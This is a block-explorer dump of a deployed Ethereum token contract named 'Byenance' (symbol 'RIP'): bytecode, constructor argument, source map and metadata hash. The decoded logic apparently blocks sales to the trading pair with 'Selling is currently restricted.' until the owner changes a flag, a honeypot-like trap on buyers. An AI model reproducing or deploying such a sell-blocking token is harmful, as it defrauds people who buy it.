0x6080604052600436106100f6575f3560e01c806370a082311161008957806395d89b411161005857806395d89b4114610307578063a9059cbb14610331578063dd62ed3e1461036d578063f2fde38b146103a9576100fd565b806370a0823114610261578063715018a61461029d578063751039fc146102b35780638da5cb5b146102dd576100fd565b806323b872dd116100c557806323b872dd146101bb578063313ce567146101f757806349bd5a5e14610221578063622565891461024b576100fd565b806306fdde0314610101578063095ea7b31461012b5780631694505e1461016757806318160ddd14610191576100fd565b366100fd57005b5f80fd5b34801561010c575f80fd5b506101156103d1565b6040516101229190611049565b60405180910390f35b348015610136575f80fd5b50610151600480360381019061014c91906110fa565b61040e565b60405161015e9190611152565b60405180910390f35b348015610172575f80fd5b5061017b6104fb565b60405161018891906111c6565b60405180910390f35b34801561019c575f80fd5b506101a5610520565b6040516101b291906111ee565b60405180910390f35b3480156101c6575f80fd5b506101e160048036038101906101dc9190611207565b61052f565b6040516101ee9190611152565b60405180910390f35b348015610202575f80fd5b5061020b610818565b6040516102189190611272565b60405180910390f35b34801561022c575f80fd5b50610235610820565b604051610242919061129a565b60405180910390f35b348015610256575f80fd5b5061025f610846565b005b34801561026c575f80fd5b50610287600480360381019061028291906112b3565b6108f5565b60405161029491906111ee565b60405180910390f35b3480156102a8575f80fd5b506102b161090a565b005b3480156102be575f80fd5b506102c7610a58565b6040516102d49190611152565b60405180910390f35b3480156102e8575f80fd5b506102f1610a6a565b6040516102fe919061129a565b60405180910390f35b348015610312575f80fd5b5061031b610a91565b6040516103289190611049565b60405180910390f35b34801561033c575f80fd5b50610357600480360381019061035291906110fa565b610ace565b6040516103649190611152565b60405180910390f35b348015610378575f80fd5b50610393600480360381019061038e91906112de565b610ae5565b6040516103a091906111ee565b60405180910390f35b3480156103b4575f80fd5b506103cf60048036038101906103ca91906112b3565b610b05565b005b60606040518060400160405280600881526020017f4279656e616e6365000000000000000000000000000000000000000000000000815250905090565b5f8160055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516104e991906111ee565b60405180910390a36001905092915050565b600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f610538610a6a565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156105a65750610576610a6a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156106ef57600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156106555750600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156106e557610662610a6a565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603156106e457600c5f9054906101000a900460ff166106e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106da90611366565b60405180910390fd5b5b5b600354600e819055505b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610773575f80fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107fa91906113b1565b9250508190555061080c848484610cc2565b50600190509392505050565b5f6009905090565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61084e610fb8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d19061142e565b60405180910390fd5b5f600c5f6101000a81548160ff021916908315150217905550565b6009602052805f5260405f205f915090505481565b610912610fb8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461099e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109959061142e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600c5f9054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f5249500000000000000000000000000000000000000000000000000000000000815250905090565b5f610ada338484610cc2565b506001905092915050565b6005602052815f5260405f20602052805f5260405f205f91509150505481565b610b0d610fb8565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b909061142e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe906114bc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f8060085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205403610d5b578160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610d5391906113b1565b925050819055505b5f8203610db857600a5460075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610db091906114da565b925050819055505b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e5257505f60085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054145b8015610e9a57505f60075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054115b15610ef557600a5460085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610eed91906113b1565b925050819055505b8160095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610f4191906114da565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610fa591906111ee565b60405180910390a3600190509392505050565b5f33905090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610ff6578082015181840152602081019050610fdb565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61101b82610fbf565b6110258185610fc9565b9350611035818560208601610fd9565b61103e81611001565b840191505092915050565b5f6020820190508181035f8301526110618184611011565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6110968261106d565b9050919050565b6110a68161108c565b81146110b0575f80fd5b50565b5f813590506110c18161109d565b92915050565b5f819050919050565b6110d9816110c7565b81146110e3575f80fd5b50565b5f813590506110f4816110d0565b92915050565b5f80604083850312156111105761110f611069565b5b5f61111d858286016110b3565b925050602061112e858286016110e6565b9150509250929050565b5f8115159050919050565b61114c81611138565b82525050565b5f6020820190506111655f830184611143565b92915050565b5f819050919050565b5f61118e6111896111848461106d565b61116b565b61106d565b9050919050565b5f61119f82611174565b9050919050565b5f6111b082611195565b9050919050565b6111c0816111a6565b82525050565b5f6020820190506111d95f8301846111b7565b92915050565b6111e8816110c7565b82525050565b5f6020820190506112015f8301846111df565b92915050565b5f805f6060848603121561121e5761121d611069565b5b5f61122b868287016110b3565b935050602061123c868287016110b3565b925050604061124d868287016110e6565b9150509250925092565b5f60ff82169050919050565b61126c81611257565b82525050565b5f6020820190506112855f830184611263565b92915050565b6112948161108c565b82525050565b5f6020820190506112ad5f83018461128b565b92915050565b5f602082840312156112c8576112c7611069565b5b5f6112d5848285016110b3565b91505092915050565b5f80604083850312156112f4576112f3611069565b5b5f611301858286016110b3565b9250506020611312858286016110b3565b9150509250929050565b7f53656c6c696e672069732063757272656e746c7920726573747269637465642e5f82015250565b5f611350602083610fc9565b915061135b8261131c565b602082019050919050565b5f6020820190508181035f83015261137d81611344565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6113bb826110c7565b91506113c6836110c7565b92508282039050818111156113de576113dd611384565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611418602083610fc9565b9150611423826113e4565b602082019050919050565b5f6020820190508181035f8301526114458161140c565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6114a6602683610fc9565b91506114b18261144c565b604082019050919050565b5f6020820190508181035f8301526114d38161149a565b9050919050565b5f6114e4826110c7565b91506114ef836110c7565b925082820190508082111561150757611506611384565b5b9291505056fea26469706673582212204da079e924d28c5348b9ea507e594c35f991f34d43f64540278df7c4d63e13d564736f6c63430008140033

0000000000000000000000001a4ee7d836c5327c8ec1b01983be18ebfbed5f48

-----Decoded View---------------
Arg [0] : marketing (address): 0x1a4ee7d836c5327c8ec1b01983BE18eBfbed5f48

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000001a4ee7d836c5327c8ec1b01983be18ebfbed5f48

4204:9775:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7306:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7085:213;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5208:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7490:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6375:701;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7593:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5043:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12463:81;;;;;;;;;;;;;:::i;:::-;;4810:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2902:148;;;;;;;;;;;;;:::i;:::-;;5005:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2688:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7397:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6201:162;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4582:64;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3058:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7306:83;7343:13;7376:5;;;;;;;;;;;;;;;;;7369:12;;7306:83;:::o;7085:213::-;7151:12;7209:6;7176:9;:21;7186:10;7176:21;;;;;;;;;;;;;;;:30;7198:7;7176:30;;;;;;;;;;;;;;;:39;;;;7252:7;7231:37;;7240:10;7231:37;;;7261:6;7231:37;;;;;;:::i;:::-;;;;;;;;7286:4;7279:11;;7085:213;;;;:::o;5208:41::-;;;;;;;;;;;;;:::o;7490:95::-;7543:7;4896:18;7563:14;;7490:95;:::o;6375:701::-;6469:12;6513:7;:5;:7::i;:::-;6498:22;;:11;:22;;;;:46;;;;;6537:7;:5;:7::i;:::-;6524:20;;:9;:20;;;;6498:46;6494:380;;;6578:13;;;;;;;;;;;6565:26;;:9;:26;;;:69;;;;;6618:15;;;;;;;;;;;6595:39;;:11;:39;;;;6565:69;6561:264;;;6669:7;:5;:7::i;:::-;6655:21;;:10;:21;;;6651:163;;;6723:12;;;;;;;;;;;6718:96;;6756:42;;;;;;;;;;:::i;:::-;;;;;;;;6718:96;6651:163;6561:264;6849:13;;6839:7;:23;;;;6494:380;6902:9;:22;6912:11;6902:22;;;;;;;;;;;;;;;:34;6925:10;6902:34;;;;;;;;;;;;;;;;6892:6;:44;;6884:53;;;;;;6986:6;6948:9;:22;6958:11;6948:22;;;;;;;;;;;;;;;:34;6971:10;6948:34;;;;;;;;;;;;;;;;:44;;;;;;;:::i;:::-;;;;;;;;7003:43;7015:11;7028:9;7039:6;7003:11;:43::i;:::-;;7064:4;7057:11;;6375:701;;;;;:::o;7593:83::-;7634:5;5347:1;7652:16;;7593:83;:::o;5043:28::-;;;;;;;;;;;;;:::o;12463:81::-;2825:12;:10;:12::i;:::-;2815:22;;:6;;;;;;;;;;:22;;;2807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12531:5:::1;12516:12;;:20;;;;;;;;;;;;;;;;;;12463:81::o:0;4810:44::-;;;;;;;;;;;;;;;;;:::o;2902:148::-;2825:12;:10;:12::i;:::-;2815:22;;:6;;;;;;;;;;:22;;;2807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3009:1:::1;2972:40;;2993:6;::::0;::::1;;;;;;;;2972:40;;;;;;;;;;;;3040:1;3023:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2902:148::o:0;5005:31::-;;;;;;;;;;;;;:::o;2688:79::-;2726:7;2753:6;;;;;;;;;;;2746:13;;2688:79;:::o;7397:87::-;7436:13;7469:7;;;;;;;;;;;;;;;;;7462:14;;7397:87;:::o;6201:162::-;6268:12;6293:40;6305:10;6317:7;6326:6;6293:11;:40::i;:::-;;6351:4;6344:11;;6201:162;;;;:::o;4582:64::-;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;3058:244::-;2825:12;:10;:12::i;:::-;2815:22;;:6;;;;;;;;;;:22;;;2807:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3167:1:::1;3147:22;;:8;:22;;::::0;3139:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;3257:8;3228:38;;3249:6;::::0;::::1;;;;;;;;3228:38;;;;;;;;;;;;3286:8;3277:6;::::0;:17:::1;;;;;;;;;;;;;;;;;;3058:244:::0;:::o;9973:583::-;10063:12;10117:1;10096:7;:17;10104:8;10096:17;;;;;;;;;;;;;;;;:22;10092:92;;10162:6;10139:9;:19;10149:8;10139:19;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;10092:92;10214:1;10204:6;:11;10200:43;;10237:6;;10217;:16;10224:8;10217:16;;;;;;;;;;;;;;;;:26;;;;;;;:::i;:::-;;;;;;;;10200:43;10276:13;;;;;;;;;;;10264:25;;:8;:25;;;;:51;;;;;10314:1;10293:7;:17;10301:8;10293:17;;;;;;;;;;;;;;;;:22;10264:51;:75;;;;;10338:1;10319:6;:16;10326:8;10319:16;;;;;;;;;;;;;;;;:20;10264:75;10260:143;;;10381:6;;10360:7;:17;10368:8;10360:17;;;;;;;;;;;;;;;;:27;;;;;;;:::i;:::-;;;;;;;;10260:143;10456:6;10433:9;:19;10443:8;10433:19;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;10501:8;10482:36;;10491:8;10482:36;;;10511:6;10482:36;;;;;;:::i;:::-;;;;;;;;10540:4;10533:11;;9973:583;;;;;:::o;236:98::-;289:7;316:10;309:17;;236:98;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:60::-;3474:3;3495:5;3488:12;;3446:60;;;:::o;3512:142::-;3562:9;3595:53;3613:34;3622:24;3640:5;3622:24;:::i;:::-;3613:34;:::i;:::-;3595:53;:::i;:::-;3582:66;;3512:142;;;:::o;3660:126::-;3710:9;3743:37;3774:5;3743:37;:::i;:::-;3730:50;;3660:126;;;:::o;3792:152::-;3868:9;3901:37;3932:5;3901:37;:::i;:::-;3888:50;;3792:152;;;:::o;3950:183::-;4063:63;4120:5;4063:63;:::i;:::-;4058:3;4051:76;3950:183;;:::o;4139:274::-;4258:4;4296:2;4285:9;4281:18;4273:26;;4309:97;4403:1;4392:9;4388:17;4379:6;4309:97;:::i;:::-;4139:274;;;;:::o;4419:118::-;4506:24;4524:5;4506:24;:::i;:::-;4501:3;4494:37;4419:118;;:::o;4543:222::-;4636:4;4674:2;4663:9;4659:18;4651:26;;4687:71;4755:1;4744:9;4740:17;4731:6;4687:71;:::i;:::-;4543:222;;;;:::o;4771:619::-;4848:6;4856;4864;4913:2;4901:9;4892:7;4888:23;4884:32;4881:119;;;4919:79;;:::i;:::-;4881:119;5039:1;5064:53;5109:7;5100:6;5089:9;5085:22;5064:53;:::i;:::-;5054:63;;5010:117;5166:2;5192:53;5237:7;5228:6;5217:9;5213:22;5192:53;:::i;:::-;5182:63;;5137:118;5294:2;5320:53;5365:7;5356:6;5345:9;5341:22;5320:53;:::i;:::-;5310:63;;5265:118;4771:619;;;;;:::o;5396:86::-;5431:7;5471:4;5464:5;5460:16;5449:27;;5396:86;;;:::o;5488:112::-;5571:22;5587:5;5571:22;:::i;:::-;5566:3;5559:35;5488:112;;:::o;5606:214::-;5695:4;5733:2;5722:9;5718:18;5710:26;;5746:67;5810:1;5799:9;5795:17;5786:6;5746:67;:::i;:::-;5606:214;;;;:::o;5826:118::-;5913:24;5931:5;5913:24;:::i;:::-;5908:3;5901:37;5826:118;;:::o;5950:222::-;6043:4;6081:2;6070:9;6066:18;6058:26;;6094:71;6162:1;6151:9;6147:17;6138:6;6094:71;:::i;:::-;5950:222;;;;:::o;6178:329::-;6237:6;6286:2;6274:9;6265:7;6261:23;6257:32;6254:119;;;6292:79;;:::i;:::-;6254:119;6412:1;6437:53;6482:7;6473:6;6462:9;6458:22;6437:53;:::i;:::-;6427:63;;6383:117;6178:329;;;;:::o;6513:474::-;6581:6;6589;6638:2;6626:9;6617:7;6613:23;6609:32;6606:119;;;6644:79;;:::i;:::-;6606:119;6764:1;6789:53;6834:7;6825:6;6814:9;6810:22;6789:53;:::i;:::-;6779:63;;6735:117;6891:2;6917:53;6962:7;6953:6;6942:9;6938:22;6917:53;:::i;:::-;6907:63;;6862:118;6513:474;;;;;:::o;6993:182::-;7133:34;7129:1;7121:6;7117:14;7110:58;6993:182;:::o;7181:366::-;7323:3;7344:67;7408:2;7403:3;7344:67;:::i;:::-;7337:74;;7420:93;7509:3;7420:93;:::i;:::-;7538:2;7533:3;7529:12;7522:19;;7181:366;;;:::o;7553:419::-;7719:4;7757:2;7746:9;7742:18;7734:26;;7806:9;7800:4;7796:20;7792:1;7781:9;7777:17;7770:47;7834:131;7960:4;7834:131;:::i;:::-;7826:139;;7553:419;;;:::o;7978:180::-;8026:77;8023:1;8016:88;8123:4;8120:1;8113:15;8147:4;8144:1;8137:15;8164:194;8204:4;8224:20;8242:1;8224:20;:::i;:::-;8219:25;;8258:20;8276:1;8258:20;:::i;:::-;8253:25;;8302:1;8299;8295:9;8287:17;;8326:1;8320:4;8317:11;8314:37;;;8331:18;;:::i;:::-;8314:37;8164:194;;;;:::o;8364:182::-;8504:34;8500:1;8492:6;8488:14;8481:58;8364:182;:::o;8552:366::-;8694:3;8715:67;8779:2;8774:3;8715:67;:::i;:::-;8708:74;;8791:93;8880:3;8791:93;:::i;:::-;8909:2;8904:3;8900:12;8893:19;;8552:366;;;:::o;8924:419::-;9090:4;9128:2;9117:9;9113:18;9105:26;;9177:9;9171:4;9167:20;9163:1;9152:9;9148:17;9141:47;9205:131;9331:4;9205:131;:::i;:::-;9197:139;;8924:419;;;:::o;9349:225::-;9489:34;9485:1;9477:6;9473:14;9466:58;9558:8;9553:2;9545:6;9541:15;9534:33;9349:225;:::o;9580:366::-;9722:3;9743:67;9807:2;9802:3;9743:67;:::i;:::-;9736:74;;9819:93;9908:3;9819:93;:::i;:::-;9937:2;9932:3;9928:12;9921:19;;9580:366;;;:::o;9952:419::-;10118:4;10156:2;10145:9;10141:18;10133:26;;10205:9;10199:4;10195:20;10191:1;10180:9;10176:17;10169:47;10233:131;10359:4;10233:131;:::i;:::-;10225:139;;9952:419;;;:::o;10377:191::-;10417:3;10436:20;10454:1;10436:20;:::i;:::-;10431:25;;10470:20;10488:1;10470:20;:::i;:::-;10465:25;;10513:1;10510;10506:9;10499:16;;10534:3;10531:1;10528:10;10525:36;;;10541:18;;:::i;:::-;10525:36;10377:191;;;;:::o

ipfs://4da079e924d28c5348b9ea507e594c35f991f34d43f64540278df7c4d63e13d5